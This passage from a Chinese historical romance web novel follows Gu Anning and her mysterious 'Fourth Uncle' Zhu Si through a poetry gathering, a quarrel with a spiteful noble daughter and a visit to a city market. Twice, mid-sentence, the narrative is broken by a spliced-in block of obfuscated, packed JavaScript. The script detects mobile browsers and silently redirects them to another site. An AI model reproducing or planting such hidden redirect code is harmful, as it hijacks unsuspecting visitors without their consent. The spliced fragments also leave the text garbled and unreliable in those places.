稍倾幕布还有制作精良的皮影送到了他的面前,一一在案桌上摆开。他拿起那女子像,见其描绘精妙,完全是按照他亡母的画像制作而成。近侍见安宁把东西送来的时候只简单用一个鹿皮袋装着,便寻了个木箱过来:“主子,把东西收这里吧?” 朱思看了眼那红木箱,摇了摇头:“不用这个。你去,把金丝楠木箱里的东西腾到这里面,用那个箱子装这些东西。” 近侍有些诧异地睁大了眼睛,不敢违逆他的意思,赶紧应了一声下去。朱思指尖轻轻抚过那些皮影,心里如同塞了一大团棉花,满满的软软的,又让他有些难以呼吸。 他起身撑伞走到院子里,见那边还亮着灯,便走到了花窗旁,安宁竟然还在那处没走远。 朱思道:“你送了这样的厚礼给我,我不知该如何谢你。” 雨下得有些大了,安宁也撑起了伞,雨滴打在两边的伞面上,发出啪啪的声音。她闻言道:“我送了你东西,想着你会喜欢,便在这里等着你出来谢我。你却说不知该如何谢我。你说句谢谢你,我十分喜欢不就好了?” 朱思的心口涌上一丝酸涩一丝喜悦,复杂地纠缠在一起。他诚挚地开口:“谢谢你,我十分喜欢。” “喜欢就好,也不枉我这几日费的力气。”她坦然接受他的谢意,“我听说汉武帝十分思念李夫人,便请能人制作了李夫人的皮影像来寄托哀思。我想着活灵活现的,总比画像来得灵动,并无冒犯之意。” “不。”他打断了她的话,“我从未见过亡母,今日你所做弥补了我人生一大遗憾。我心里感激不尽。” “那就好。”她仰头看了看天,雨势越来越大,打在伞面上越发地响,“那我便回去了。四叔,雨大,你也快避雨去吧。” 朱思没有走,目送安宁远去,直到那边院子里恢复了安静他仍撑伞在雨里站着。长廊下安静候着的近侍看着这一幕,忍不住轻声自言自语:“二姑娘这般,不知是福是祸啊!哎!” 雨下了一整夜,快天明时才缓缓放晴。空中仍然漂浮着几朵灰蓝色的乌云,旁的地方是微微的灰白色。整座京城被雨水浸没得仿佛泼墨山水画,半湿半干,雾气氤氲。 天阴得厉害,安宁贪眠了些,过了辰时还没起。她正睡得香甜,有人揭开了厚重的幔帘,又推开了卧室的窗户。屋外带着秋日寒凉湿气的冷空气一下进入室内,让她激灵灵地打了个寒颤,赶紧缩回了放在被子外面的胳膊,困倦地睁开了眼睛。 顾珂柔正在床边俏生生地站着,不赞同地皱眉看着她:“都什么时辰了,还在睡呢?” “大姐。”安宁抱着被子打了个大大的哈欠,翻了个身,说话带着浓浓的鼻音,“你怎么来了?” 顾珂柔在床边坐下,伸手去拉她起身:“别睡了,隅中了。再睡早膳午膳都不用吃了。” 安宁勉强坐起身,仍是不停地打着哈欠。白蔻和沉香带着笑意打了热水进来同她穿衣梳洗。 顾珂柔道:“一早长乐候府就送来了帖子,今儿有诗集会,邀你我同去。我左等右等也不见你出来,只好亲自来寻你了。” 安宁喃喃道:“段妮?她也不爱诗词歌赋,弄什么诗集会?” 段妮是长乐候段文珏的嫡长女,她是龙凤胎,上面还有个哥哥段承远。保国公府同长乐候府有亲,段文珏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273257|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是安宁的四表舅,段妮是她的表妹,两人打小就认识。 “喜不喜欢,会不会又有什么打紧。”顾珂柔轻嗤一声,“便是我在家里办那些个劳什子,你当我是喜欢不成?一则可以借这个机会和喜欢的姐妹们聚一聚,二则也是最重要的,京城这些闺女们一个个都养在深闺,既然不能出去抛头露面,如何能在外打响名头?少不得就得借用这些什么诗词雅集,让外面的人知道有你这么个人存在,年龄再大些的,还要借着这些个机会让那些夫人们相看。” 安宁被顾珂柔按着好生打扮了一番,姐妹两这才一同乘车去了长乐候府。 此时长乐候所在的长街上已经停满了车辆。长乐候深受太后器重,他家的宴席也好雅集也罢向来人满为患。顾家姐妹来得迟了些,原以为她们是最后上门的客人,却见街上还有不少马车在陆陆续续前来,安宁一问才知道这样的集会并非要主人刻意邀请,自报门庭也可参加,难怪人会多成这个样子。 虽说不限门第,实则来参加的最次也是五品官家的女儿。一时间整个长乐候府里热热闹闹,全是京城权贵家里的莺莺燕燕。 顾家姐妹两径直往后院走去寻段妮,说是诗词会,实则一路行来,有赏花的、有观鱼的、有比拼茶艺的、有荡秋千的、有投壶的、有射箭的、还有玩鸡毛毽的,只有最僻静之处安置的长桌旁坐着的人在正经品诗词。 安宁看着有趣,在开阳时她没有参加过类似的活动。她靠近大姐耳边轻声道:“我还以为这样的集会就是大家坐在一起论论诗词你酸酸我,我酸酸你无趣得紧。这么看来倒也有点意思。” 她说完话一抬头,见一个华服女子轻轻扇着手里的纨扇挡在了她们的面前。恰好地处长廊通道狭窄,她和顾珂柔往旁边让了让,那女子不紧不慢也跟着往旁边挪了挪,两人再退到一旁,那女子也慢悠悠跟过来仍是堵在她们面前。 眼前这女子身材高挑,一脸倨傲。她穿着绣了繁复牡丹花纹的襦裙,外面罩着掺了金线银线编制的纱裙,微微一动裙裾摇摆,在阳光下闪闪发光。再看她脖子上带着镶了红宝石的金项圈,头上簪着赤金的累丝飞鸟步摇,手腕上套着好几个金的、玉的手镯,华贵异常。 从那姑娘身后走出来一个丫鬟,趾高气扬地看着顾家姐妹:“这是我们定国公府的五姑娘,还不过来见礼?” 这丫鬟正是那日在码头上遇到的那一位。一看见她,顾家姐妹对视一眼心里顿时明了,这是认出了她们两,刻意来找茬的。 顾珂柔道:“你我若是相识,见面了自然应该互相见礼,或者你是长辈,我们也该见礼。只是你家姑娘既不和我们相识,也不是什么长辈,缘何要我们见礼?” “你没听明白嘛姐姐。”安宁从旁接道,“这丫鬟说了,这是我们‘定国公府’的五姑娘,所以要我们过去见礼。不是相识也不是长辈,是自觉门第高人一等,所以以势压人。” 那丫鬟一窒:“我哪儿有那个意思!” “那你什么意思啊?”安宁凉凉地追问,“我姐姐说了,我们既不相识,她也不是什么长辈,缘何要我们见礼?” 五姑娘仍是不紧不慢地扇着手里的纨扇:“顾珂柔我听说过,顾大人家的嫡长女。看你伶牙俐齿的却眼生得紧,你是哪家的姑娘,管人叫姐姐这般亲近?” 16. 15 安宁正要开口,旁边传来了段妮的声音:“大姐姐!二姐姐!”众人都向段妮看了过去。段妮风一般从长廊尽头跑上前亲热地挽住安宁的胳膊,“二姐姐,可有段日子没见着你了呢!你也不说多给我写几封信!我好生想你!” 段文珏得空便会带儿女前去开阳城,所以安宁常与段妮见面,两人交好十分熟悉。 段妮挽着顾珂柔和安宁往后院走:“快走快走,我让小厨房备下了桂花糕,二姐姐最喜欢吃!” 竟是没有搭理一旁的定国公府五姑娘一眼。 三人走出去一段,段妮才放开了她们两:“那个姚五,最是讨厌得紧,你们莫要理她。” 顾珂柔十分赞同:“确实讨厌。” 当今圣上继位之时,原来的定国公被削了爵,如今的定国公是姚家的二房长子。他在南海一带军功赫赫,凭着一己之力复了家里的爵位。这五姑娘是他的宠妾所出,虽然是个庶女,因为十分受宠,一应同嫡女无异。她出了名的刁蛮小心眼,段妮对她十分不喜。 几姐妹去了后院,段妮引了她两同自己相好的姐妹见面。一群人在花厅里坐下品茶聊天,正说得高兴时,一个传话的小丫鬟冒冒失失地跑了进来同段妮道:“姑娘,您快出去看看吧,前院吵起来了。” 几人来到前院一看,院子里围着好大一圈人,姚五姑娘和另外一个姑娘站在场间,她看上去倒是镇定自若,另一个姑娘正手里捧着一方摔成两截的簪子在哭个不停。 段妮身为主人,自然要平息矛盾。她排开众人上前:“发生了什么事?” 这时她才看见在哭的也是定国公府的人,是姚五的姐姐姚三姑娘。姚三姑娘性子软,一着急就说不出话来。她抽噎着:“她,她摔断了我的簪子。” “你不要胡说。”姚五白了她一眼,“明明是你自己没拿稳才会摔坏。” 一旁姚三的女伴看不下去,出来替姚三说话:“是你硬要抢三姑娘的簪子,争抢中才会摔坏。” 姚五不耐烦了:“不过是个破簪子罢了。三姐姐要怪罪我,回府从我梳妆盒里挑一个喜欢的去就是!非要大庭广众的这般同我争执,哭哭啼啼的好没意思!” “你明知道这簪子是我亡母留给我的遗物。你……你……”三姑娘悲从心来,低头哭泣。 段妮低声安慰姚三姑娘,好说歹说哄了她去一旁的花厅。姚五见状哼了一声:“我就不会学有些人,惯会装无辜扮柔弱,哄得人人都可怜她!我要是有她这样的手段,也不怕交不上朋友了。” 安宁气得要出去怼她,被大姐用力拉住。顾珂柔冲她摇头:“你就算出去替三姑娘出头,她回家去也讨不了好。定国公偏心,三姑娘不受宠,你越帮她,回府后姚五越要添油加醋,反倒让她吃亏。六妹妹做得对,息事宁人最好。” 安宁看着姚五那得意的样子,十分不满:“我真看不惯她,真真是小人得志!” 因了姚五的存在,安宁不愿在长乐候府多呆,早早地就张罗着要回府。顾珂柔拗不过她,只得辞别了段妮,和妹妹一起回去。 姐妹两的车刚到万柳亭,就遇见自家的马车迎面而来。对面的人叫停了车夫,撩开车帘冲这边喊:“大姐姐,二姐姐!” 两姐妹闻声撩起车帘,见对面坐着顾文渊。顾珂柔奇道:“怎么在这儿遇到了你,你这是要去哪里?” 顾文渊道:“我就是出来寻你同二姐姐的,没想到刚到这里就遇上。”他冲着车厢里喊,“二姐姐,朱四叔在广和楼包了场听戏,他知道你最好这个,问你去不去。” 安宁的小脸出现在窗边,回答得斩钉截铁:“去!” 广和楼在城西,是京城出了名的戏楼。环形的建筑占地极广,正中央搭着戏台。朱思早在主位上坐着,戏台上正在唱《出塞》。 戏院里厚重的幔帘垂着隔绝外面的光线,只有戏台上方塔状吊灯上数百只蜡烛亮着,照亮了其下的一方范围。主位上还勉强有些亮光,其余整个戏院都隐没在浓重的黑暗中。 当戏台上的王昭君开始咿咿呀呀地唱起时,他微微朝安宁的方向偏了偏身子,将点戏的折子递了过去:“你们没来,我先点了出《出塞》,看看有什么想听的,你们再点。” 安宁接过折子递给顾珂柔,顾珂柔推拒:“你看着点吧。我和文渊都不怎么看戏。你点什么,我们就听什么。” 安宁低头翻着戏折上的曲目,眉目不甚开朗。从她进门开始,朱思便敏锐地察觉到了她的不悦,见状轻声问道:“谁惹你了,这般不悦?” “又遇到了那个定国公家的五姑娘。”安宁同样轻声回答着朱思的问题。憋了一路,眼下朱思一问,她便倒豆子般将先前在长乐候府发生的事情讲了一遍,末了道:“我看她那个小人得志的模样,真是气死我了。但大姐姐说得对,我要是替三姑娘出了头,她回府后遇到偏心的定国公,肯定会更受磋磨,只能忍了这口恶气。” 他侧头看着她:“你同那三姑娘并不相识,倒是好打抱不平。” “我讨厌姚五。”安宁道,“码头的事在先,今日她又故意想要折辱我和大姐姐。”她用力握了握拳,“这也就是在京城,受规矩拘着不得不忍着。这要是在开阳城,我早动手揍她了!” 安宁一时激动,声音大了些,顾珂柔扭头嗔了她一眼:“女孩子家,打打杀杀的成什么样子?” 朱思露出一丝笑意:“这事儿倒像是你会做的。我听说,在开阳的时候,金帐王庭的王子少布都没在你手上讨了好去。” 安宁一窒,诧异地看着朱思:“这事儿都传得这般远了吗?” 顾珂柔和顾文渊闻言同时向两人看来。顾文渊好信儿:“什么王子少布?” 安宁赶紧拦住朱思:“四叔,谣言止于智者。我这名声还是想要一要的。” 朱思闻言笑而不答,同顾文渊道:“你若是好奇,问你二姐姐就是。” 顾文渊看向安宁,安宁果断堵住了他的话:“不许问!” 这件事情顾林书为了女儿着意按下,并没有传播开来。但这么大的事情,宫里不可能不知晓。 安宁朝着朱思侧了侧身子,压低声音开口:“你不知道少布那个人,最是残暴好色。我若不想法子闹上一闹,太后和皇上当真把我送去和亲,我岂不是坠入了十八层地狱?” 朱思不赞同地看着她:“你大可请你父亲上折子,若太后和皇上知晓少布的为人,怎么会将你送去和亲?” 安宁摇头:“外面对少布全是一片赞赏之言,就算是太后和皇上开明,也架不住金帐王庭刻意粉饰。这些事儿,若不是我就生活在开阳同他相识,我也不知不是?在宫里看来,指不定这是桩极好的婚事。我父亲若是上折子,一来一回拖上几个月,怕是指婚的旨意早就下来了,我赌不起。” 朱思若有所思,没有再多言。 几人看完了戏出来,朱思在门口同他们三姐弟告别:“我在府上住了小半月,如今母亲召唤得回王府,就不与你们同行了。” 顾文渊不舍他:“四叔,你得空早些回来,我还等你一起进学。” 朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273258|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思点头,转而看向安宁:“我走了,告辞。”他又向着顾珂柔拱手为礼,三姐弟一起向他回礼,目送他上了马车离开。 朱思在的时候还不觉得,他这一走,旁边钟书苑一下冷寂了下来。夜里安宁提着灯笼走到鱼池边,只见花窗那边黑漆漆一片,再无他在时透过来的橘色灯火。夜风吹过,高高的竹林沙沙作响,更显冷清。 接下来几天又下了几场雨,俗话说一场秋雨一场寒,天气渐渐地冷了起来。天气渐冷,院子里的秋海棠却开得十分红火,火红的海棠花成片盛开,远远看去鲜艳灿烂。 时逢十五,苏婉仪要去隋明寺烧香祈福,带了儿女和安宁同行。 昨夜又下了一场秋雨,这些天接连的雨水将万物沾染的尘土冲刷得干干净净,连空气也格外的清新。隋明寺的秋海棠极富盛名,正是盛开时节,漫山遍野红如火霞。雨后初晴,不少人赶着在这日或来上香,或来赏花,山门处人潮涌涌,十分热闹。 长乐候夫人也带了儿女前来,苏婉仪和江俪上过香相携去了寮房喝茶休息,放了孩子们出去玩。顾珂柔、顾安宁、顾文渊、段承远和段妮一商量,决定去后山逛逛。 隋明寺后山有一处瀑布,所以游人也不少。后山一路都是上行,段妮走了时间不长就喊累,嚷嚷着要寻个地方休息,正好前方有一处凉亭,几人就去了那里歇脚。 后山松柏苍翠,林间不时有鸟儿空灵地鸣叫,十分幽静。很远地地方隐约传来哗哗的声音,那是瀑布飞流而下的声响。 几人正坐着,从上面下来一行人。当先是几个带刀侍卫,簇拥着中间一名穿着月白色长袍地男子,男子身后还跟着几个做内侍打扮的公公。亭里几人见状纷纷起身,来人也看见了亭子里的几人,同段承远道:“小承远,你这是和家里人出来玩?” 段承远恭恭敬敬的行礼:“二叔。” 段妮也跟着福身行礼,脆生生道:“二叔。” 段承远扭头同顾家三姐弟介绍:“这是路王府的世子,论辈份咱们要叫一声二叔。” 顾家三姐弟纷纷行礼叫人。段承远同朱二道:“这是我的表哥表姐们,太师家的。” 原来是朱思的二哥。朱二微笑向众人点头,顾文渊看了眼朱二身后:“二叔,四叔没有同你一起出来么?” “四弟?你同他相熟?”朱二笑道,“他尚在漳南没有回京,要回来还要过些日子。” 顾文渊一怔,待要再开口,安宁和顾珂柔一起按住了他。朱二同几人寒暄了几句便下了山,顾文渊这才得空同自己的两个姐姐道:“你们为何不让我说话?前几日四叔还在我们那住着呢,怎么就去了漳南?” “你是不是傻?”安宁瞪了他一眼,“四叔既然要隐瞒行踪,自然有他的道理。你愣头愣脑地这般说破,岂不是给他增添麻烦?” 顾文渊后知后觉,挠了挠后脑勺,哦了一声:“也对,是我唐突了。” 顾珂柔看向段家兄妹:“我弟弟犯傻,方才说的话,你们不要说出去,省得给朱四叔增加麻烦。” 段承远应下:“我们知道。”他转而又道,“四叔年前就出发去了漳南,什么时候偷偷回的京?” 顾文渊奇道:“年前就去了漳南?他时常来我家小住同祖父进学,一直在京城才是啊!” “进学?”段承远笑道,“四叔从军,大老粗一个,最不耐烦读书习字,什么时候收敛性子跟着太师进学了?” 他话说到这里,顾家姐妹两聪明绝顶,面色皆是微微一变,互相看了一眼,眼底都有惊色。 17. 16 夜里有风,内寝的窗户丫鬟收的时候没有放好,被风吹得轻轻晃动,一下一下拍打着窗架,发出轻轻的响声。安宁躺在床上本就毫无睡意,听着窗户响个不停她便起了身,将窗户推开重新关闭。这一推才看见旁边钟书苑那边亮起了灯,淡淡地橘色光芒在夜里流泻,透过院墙的花窗映了过来。 她手一松,窗户啪的一声落下来拍打在窗框上。她飞快转身推门跑了出去,跑到花窗那处垫脚看着那边,既有些期待又有些害怕。 她披散着长发,身上穿着白色寝衣,脚上穿着室内的棉布鞋。她出来得急没来得及换鞋,布鞋踩在地上雨水积作的水洼里,顷刻间透湿。 花窗那边朦朦胧胧有个黑影,似乎有人站在那处。 安宁握住自己的领口,试探地轻轻喊了一声:“……四叔?” 朱思站在花窗旁,他已经在这里安静地站了有一阵子。今日掌灯时分他匆匆回了顾府,除了顾仲堂并没有惊动府里的其他人。他本以为她已经就寝,方才那边院子里窗户落下的响动惊动了他,没成想她竟然真如心有灵犀一般出现在了眼前。 他开了口:“这么晚了,你怎么还没有安寝?” 真的是他。安宁心头莫名抖了抖,心里揣测着他的身份。若真如她所想的那般,她还能安安稳稳把他当做朱四叔相处么? 她应道:“原本早就睡下了,窗户没关好,被风吹得响个不停。我起来关窗,看见书苑亮了灯,就过来看看。”她安静了片刻又忍不住问,“四叔,你什么时候回来的?” “今日下晌。”他似乎情绪不高,话很少。安宁心里有疑虑,又不敢当着他的面询问,难免就有了些顾虑,不似往日般随性活泼。方才看见书苑亮灯时心头涌上的惊喜和期待就像身体里的温度一般,在萧瑟的秋风中一点一点流失。 她一时间不知道该说什么,只得道:“外面寒露重,你不要在外面站久了,早些回去安歇吧。” 他嗯了一声便不再说话,可那边的身影也没有动。 安宁看了他一眼,返身往回走,走了两步停下脚步,又转身看着他:“四叔,你不高兴?” 他没有否认:“嗯。” 她走到花窗旁,像小动物一样垫脚趴在窗户上,想要努力看清楚他的样子。两座院子间的围墙中央还间隔着一个三尺来宽的狭窄水道,他又站在黑暗中,即使她努力分辨,也看不清他此刻的喜怒。 他那边院子围墙旁恰好是竹林,挡住了廊下透过来的大部分灯光。她这边是鱼池,廊下挂着一盏灯笼,将她映得一清二楚。见她皱着眉一脸担心,他终于开口:“我无事,只是想一个人静一静。” “真要没事,就不会想着一个人静一静了。”安宁看着那边模糊的人影,“说自己不打紧的人,实则就是受了伤。只是因为习惯了得不到旁人的照顾和安慰,这才告诉自己也告诉旁人,说不打紧,其实就是逞强罢了。谁难受的时候不希望有人陪着呢?可能我帮不上你什么忙,但是我可以在这里多陪你会儿。” 他心里又涌上了奇怪的感觉,像是看不见的海浪,一波一波冲刷着他的心头,让他一向坚固的心防有了裂痕。先前在别处积累的那些愤怒抑郁因为她软软的话语消散了许多,他不愿在她面前流露不好的情绪,放软了声音:“我真的无事。你穿得这么少,再多待会儿,明日定会受风寒。快些回房去。” 她确实觉得冷,尤其脚上的鞋都湿了,又凉又腻的黏着,十分不舒服。恰好一阵风吹过,她打了个喷嚏。 他见状加紧了催促:“快回去。” 她揉着鼻子,打了个哈欠:“那你也回去。” “好。”他应下,“我也回房去休息。” 她这才转身往回走,走到廊下又不放心地回头张望,见花窗那边人影消失,才推门进了房间。 朱思在竹林下站得久了,身上都是寒露,头发和肩头都被露珠濡湿。他脸上仍带着寒意,但同刚到顾府时相比已经好转了许多。近侍赶紧拿了衣物来替他更换,一边小心地劝解着:“主子,您就是再不高兴,也得爱惜自个儿的身体啊。” 朱思沉默地更换着衣物,一言不发。 次日顾文渊在闲云楼见着了朱思,顾珂柔私底下已经细细嘱咐过他不要过问他的事情。他只当朱思有自己的不得已,压住了心里的好奇没有多问。 下午顾珂柔练完了琴,提着木食盒来了闲云楼。她平日规避外男,极少到此处来。今日竟然破例,看见她顾文渊很是意外:“大姐,你怎么过来了?” 顾珂柔落落大方道:“秋日里干燥,母亲让小厨房熬了些莲子粥,清心去火最好。想着你们在这里看书,就给你们送了些过来。” 她打开食盒,端出来一份让丫鬟给顾文渊递过去,自己则端了另一份规规矩矩地送到朱思面前:“四叔,您请用。” 朱思谢过:“有劳大姑娘。” 顾珂柔敛目退到弟弟身边,见他吃的唏哩呼噜的样子毫无仪态可言,忍不住轻轻推了推他,轻声责备:“吃有吃相。” 顾文渊吃了一大口抬头茫然地看着姐姐:“在外面我自然记得。可这里只有你和四叔,姐姐,你也要我端着不成?” 顾珂柔再瞥了眼朱思,心想着就因为四叔在才要你注意着点。转念一想,这么长时间他同朱思相处,朱思怕是早就知道他私底下是什么模样了,这时再让他注意也来不及。只盼他没有说错做错什么惹出祸事来才好,当下板着脸嘱咐:“那你平日里做事说话也要谨慎些,不要口出狂悖之言。” 顾文渊摸不着头脑,只当一向刻板的姐姐突然起了心思教训自己,老老实实地应下。 夕阳的余晖洒在荷塘上,池水表面金光粼粼。晚霞中安宁绕过水榭而来,秋风吹起她的裙裾,随着她的走动波浪般轻摆。她脸上带着笑,眼里映着夕阳金红的霞光,只是看见她,便让人觉着心里都暖了几分。 顾文渊喊了一声:“二姐姐。”随即道,“大姐前脚刚走你便来了。”他伸手去接安宁提着的纸盒子,“你也是来送吃的么?今天是什么好日子,你们两都来,拿了什么好吃的?” 安宁笑着将纸盒递给弟弟:“是吃的不假。这是我特地去城里四方斋买回来的点心,我在开阳时最惦记的就是它家的东西,你们也尝尝。” 她取了一小碟枣糕端给朱思,轻声道:“我娘说,若是心情不好的时候,吃上几块儿甜食,就能好转许多。我买了一大盒,你带些回去。若是再觉着心里不顺,就吃上一块儿。” 朱思接过枣糕咬了一口,安宁期盼地看着他:“好不好吃?” 他点头:“好吃,甜。” 很甜,四方斋的点心素来比其他地方的更甜更软,绵密的枣糕在口中化开,甜意一点一点涌进心里。 “四叔。”她坐到他对面托腮看着他,“你为何心情不好?” 他动作顿了顿,轻轻叹了口气,将剩下的半 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这是十七年来,他首次违逆母亲的意思,执拗地不从,当面同母亲起了争执,甚至闹得不欢而散。从小到大,向来都是母亲说什么他便做什么,他就像一团棉花,任由母亲拿捏出她想要的形状,从不反抗。 但这次的事情却触碰到了他的逆鳞。 往深了想,娶妻的事情只是所有事情中一个小小的映射。映射出的是他被完全操控的人生,所有的一切,无论吃穿住行,甚至包括他的喜好他的爱憎都在他人的掌控之中。幼时还好,他懵懵懂懂任其操纵,如今他年岁渐大,这种完全被控制的生活让人窒息。他试图反抗,才发现头顶压着的大山让他动弹不得。 她也不知该如何安慰他,于是端起了碟子递到他面前:“你要是烦的厉害,再吃块枣糕吧。” 他受不住她那般温软的眼神,抛开了心内的种种微笑着应下:“好。” 入了秋之后,京城表面看着平静,实则暗潮汹涌,因为宫里开始选秀了。这是新帝继位十几年以来,第一次大开后宫选秀女。凡年满十五周岁、父兄任职七品官以上、身体健康、容貌端庄的女子都有资格参选。 秀女有一套严格的标准,参选的秀女会根据这个标准一一筛选,合格的才会送到宫里去,再经过一个月礼仪的教导后,最后送到圣上和太后面前殿选。 顾珂柔和安宁的年龄不够不在参选之列。安宁原以为选秀同她无关,没想到事情还是波及到了她的头上。 这些日子京城最火的话题就是关于选秀,姐妹几个也免不了俗聊起这个话题。段妮来顾府寻两个姐姐玩耍,一边吃着茶果一边赶紧同她们讲她刚听说的八卦消息:“你们听说了吗?定国公家的四、五两个姑娘都去参加选秀了。四姑娘留牌子进了宫,五姑娘就有意思了,被赐了个名义上的封号,指婚给了金帐王庭的王子少布。” 安宁睁大了眼睛,一时间手里的茶果都忘记了吃:“当真?” “当真!”段妮转向她,“二姐姐,这事儿还同你有关呢。” 安宁不解:“同我有什么关系?” “也不知打哪儿传出来的消息,说王庭原本要求娶的王妃是你,只是因为你不愿意嫁,五姑娘成了你的替罪羊,这才被宫里指了去和亲。” “这个……”安宁放下手里的茶果,一时间觉着十分难言,“倒也不是谣言。” “那你可小心了。”段妮道,“赐婚的旨意已经下了,现在姚五一定恨毒了你。” 18. 17 “四叔,四叔!” 朱思抬头,见安宁正在窗外笑盈盈地垫脚朝他招手。他放下手里的书起身出门:“你怎么来了?” 安宁挥挥手让白蔻跟着她往里走:“给你送吃的。” 朱思打量着白蔻手里的食盒:“你又买了糕点?” “这次可不是买的。”白蔻放下食盒打开,安宁亲手将里面的碗碟一个一个拿出来摆好,边放边说,“是我一早去小厨房,亲手做的。我厨艺不甚好,不过我娘也夸过我,说我做的炙羊肉和鱼汤不错。如今入了秋,寒气重,羊肉去寒气补元气,正是吃它的时候。这鱼也是一大早刚从西凉河捕上来的,鱼汤是用羊骨的汤熬了一个时辰的底汤做成,羊加鱼可是个鲜字,你尝尝?” 安宁揭开瓷盆的盖子,香味扑面而来。她拿起勺子盛了一小碗双手递过去:“四叔,请?” 朱思接过碗勺尝了一小口,温热鲜香的鱼汤炸开了口中的味蕾,入腹极为熨帖。他点头夸赞:“属实不错。” 安宁在他对面坐下,听见他的夸奖,眼睛亮晶晶的都是笑容:“京城里鲜少有这个做法。凌云州那边以羊肉为主食,人们习惯了用羊骨吊汤,好喝呢。” 他喝完了一碗,放下碗勺:“这两日为何如此殷勤?” 安宁微微睁大眼睛:“啊,怎么明显吗?”她有些懊恼,“我一直觉得我做的不动声色。” 朱思眼里浮起了笑意,温声道:“你若需要我帮你做什么,直言便是。我还能不应承不成?” 安宁脸上带着一丝奇特的表情看着朱思:“君……君子一言驷马难追啊。这可是你应下的。” 朱思笑看着她:“嗯,我应下了。” “我哪儿是有事要求你呢?”安宁把炙羊肉推到他面前,“谁对我好,我便对谁好。你对我好,我自然感恩图报。” 他温柔地看着她:“我对你好?” 她偏头看他:“四叔,你又带我看皮影戏,又请我去听戏,又带我游船。我不该谢你么?”她双手奉上筷子,“多谢四叔这些日子的照顾。” 他觉着她有趣,接过筷子:“你帮我捞起了香囊,又做了皮影人偶相送,见我心情不好,又买了甜食开解,是我该谢你才是。” 安宁皱着眉头,托腮看着他,朱思被她紧紧盯着的视线打量得不自在,低头看了看自己:“你在看什么?” 安宁摇头:“没什么。” 那日在隋明寺后山遇到路王府的二公子,他言谈中提及的四公子和眼前的明显不是同一人。她和大姐虽然没有明言,心里都揣测着府上的四叔会不会是借了真四公子身份的其他人。而能随着太师进学,这般安住在府上,又随身带着这么多内侍护卫的身份定然十分尊贵。似乎……也许……有没有可能是宫里最尊贵的那一位?祖父可是天子太师啊。 但是眼前的这位,看着和善有余,威严不足。她听说姚五被指婚给了少布,想着若他真是她们猜测的那位,那便是他替她出了这口气,所以做了吃的前来感谢。但是越看越不像。是她们想太多了么?毕竟京城里宗室权贵众多,或许是旁人碍于不能言明的原因,假借了路王府四公子的身份? 毕竟眼下宫里正在选秀。若是四叔真是那位,又怎么会还留在府中?或许真是她和姐姐多虑了。 安宁甩开了心里种种念头:“四叔,你下午带我们出去玩好不好?” 朱思失笑,她方才还说没有事情求他,转眼就露出了狐狸尾巴:“你想去哪里玩?” “去哪里都好。”她叹息一声,“在开阳的时候,我每日里都可以自由自在的出去骑马、逛集市,想做什么做什么,想去哪里去哪里。可是在京城,却不得不日日被拘在府里。祖母和大伯母对我已经十分宽容,即便如此,在这里出门也不易。要出去便要套马套车,要去向大伯母回话请示。我日日去请示,大伯母就是不说,也一定会觉着我不安分。可是这么在府里拘着,实在闷得厉害,就想要出去走走。” 他不知怎的,突然想起少时他捕到的一只野雀,因为觉得长得好看,就养在了笼子中。但那野雀向来在广阔天地里呆惯了的,如何受得了小小的樊笼?于是一夜过去活活地憋死了。 眼前的她就像是被人抓着关进了笼子里的野雀,让他不由得生出了怜悯之心:“好,我带你出去玩。” 她眉目瞬间开朗,开心地跳了起来:“那我去叫大姐姐和三弟!” 顾珂柔性子不似安宁,她更愿意老老实实的在府里练琴研习棋谱或做女红。但是听说是朱思要带他们几个出去,她怕性子活泼的妹妹和不知轻重的弟弟闯祸,只得跟了去。 朱思也不知带他们去何处玩好,近侍见他为难,上前小意道:“主子,这个时辰,城北的市集正热闹着,那边有海舶司设立的铺子,能见到好多漂洋过海运回来的东西,都是平日里不常见的,倒是可以去看看。” 朱思闻言点头:“那就去那处。” 顾珂柔要给安宁戴帷幕,她偏头避过:“大姐姐,我见这劳什子也不是人人都戴,好些贵女也不戴呢。太碍事了,我不想戴。” 顾珂柔正想说什么,朱思道:“有我们护着,你们尽可以安心,她不喜欢不戴便是。” 顾珂柔只得作罢,低头应下:“四叔说的是。” 马车到了城北的市集,安宁大开眼界。京城的城北市集占地极广,统共有三条并排的街道。这里修建着成排的高楼,巍峨气派。好多都是外部和海外驻京的办事之所。除此之外,林立的铺子往前看不到头,这里什么都有:有车马行、有古董行、有海舶司、有专卖各种宠物的店铺、还有人市。这里的人市不仅仅买卖宁国的仆役,还买卖外部和海外的奴隶。 安宁没有见过昆仑奴,见人市门口的木质高台上并列站着五六个高大的壮汉,他们脸上都戴着半副金属面具,这么冷得天上半身却只披了半件兽皮衣,露出黝黑壮硕的胸膛和胳膊。这些昆仑奴手上戴着厚重的铁镣,脚上用铁链拴着限制他们的行动,他们好些人都带着兽骨制成的项链和手串,看上去野性十足。 好多人在台前围观。安宁好奇地看了会儿,扭头问身旁的朱思:“他们怎么都戴着面具?” 朱思解释:“昆仑奴大多脸上有刺青,看上去十分可怖,所以用了面具遮掩。” “这可不是戴上去的面具。”一旁有人听见安宁好奇地话语,见是个漂亮精致的小姑娘,便好心地从旁解释,“那面具是烧红了焊在脸上的,已经同皮肉长到了一起,是他们脸的一部分。” 